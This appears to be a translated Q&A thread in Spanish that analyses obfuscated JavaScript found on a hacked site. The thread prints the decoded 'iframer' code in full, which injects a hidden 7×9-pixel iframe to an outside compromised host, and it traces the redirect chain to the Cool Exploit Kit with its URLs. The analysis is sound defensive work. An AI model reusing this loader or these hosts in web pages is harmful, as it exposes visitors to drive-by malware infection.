Javascript que contiene una larga cadena hexadecimal y eval: ¿esto es sospechoso?

Descubrí lo que hace (por favor, sea indulgente conmigo, No soy un desarrollador de JavaScript )

Lo que se puede ver fácilmente es que la secuencia de comandos invoca String.fromCharCode() en los números presentes en la cadena a para crear una nueva Cadena y ejecutarla. El código al que se traduce la cadena a es:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Ahora, no estoy seguro de eso (recuerda que no soy un desarrollador de javascript) pero parece ser un código que roba cookies (quizás secuestro de sesión) ? / p>

EDIT

En futuras investigaciones:

• La secuencia de comandos está comprobando si hay una cookie específica presente ( Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation" ) y si no lo está, la crea.
• Luego crea un nuevo elemento en el documento, que se modifica para que sea muy difícil de notar (7 píxeles de ancho, 9 píxeles de altura), y que ejecuta un script php disponible en http://ninoromano.it/DNGJxdCW.php . Si visitas esto, devuelve "ok" y nada más en el código de la página (el dominio parece estar comprometido). (No puedo obtener más información más allá de eso)

Lo más probable es que sea un intento de secuestro de sesión.

La primera vez que lo ejecutas, el script crea un iframe que apunta a ninoromano.it . Luego crea una cookie para que en las siguientes ocasiones que la cargues, no se vuelva a ejecutar.

El iframe es un script de exploit del navegador. Si lo ves en un navegador que no conoce, solo obtienes la cadena 'ok', pero si lo cargas, por ejemplo, una copia anterior de IE, obtienes un montón de ataques para infectar tu máquina.

El sitio fue hackeado (y también lo hizo ninoromano por su apariencia). Una fuente común de este tipo de infección es el malware del lado del cliente que roba las contraseñas de las cuentas del servidor (¡a menudo es el mismo malware servido por las vulnerabilidades)! Quien sea responsable debe escanear todas las máquinas cliente que han accedido al servidor con varios AV (porque los AV no son muy confiables); reinstalar cualquier cliente infectado desde cero; Elija nuevas contraseñas de servidor; reinstalar el servidor desde cero.

Lo que está viendo es una versión empaquetada (ofuscada) de un kit de explotación "iframer". "iframer" solo significa un fragmento de Javascript que cargará un iframe externo; en la mayoría de los casos, el iframe apuntará a alguna parte de una cadena que eventualmente cargará un kit de explotación de navegador.

(Obviamente no visite directamente ninguno de los enlaces a continuación).

Si realiza una solicitud a la página de destino del kit de explotación, hxxp://ninoromano.it/DNGJxdCW.php con un referente válido y un agente de usuario de IE, será redirigido a otra URL.

Esta es la etapa de redireccionamiento; ninoromano.it en este caso es probablemente parte de un sistema de distribución de tráfico "TDS": su trabajo consiste en dividir el tráfico en diferentes páginas de destino de kit de explotación (o, a veces, publicidad de spam genérica) según el remitente y, a veces, el país del cliente.

enlace

La URL cargada tiene un patrón similar a hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm . Aquí está su contenido.

enlace

Con solo mirar esa página, ya reconozco que se trata del "Cool Exploit Kit". Puede conocer detalles sobre este kit de explotación en varios lugares:

enlace enlace enlace

La página de destino carga otro iframe, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

Este iframe contiene la mayor parte del código malicioso real. Intenta varias explotaciones, principalmente explotaciones de Java, todas las cuales descargarán y ejecutarán una carga útil maliciosa.

enlace es un sitio fantástico para automatizar este tipo de análisis. Solo asegúrate de establecer cada vez un nombre de usuario de IE y algún tipo de referencia.

Muchos kits de explotaciones diferentes utilizan el sabor de JS Packer que se ve en la parte inferior de la página. Si ve algún código que se vea así, puede asumir que es muy malicioso.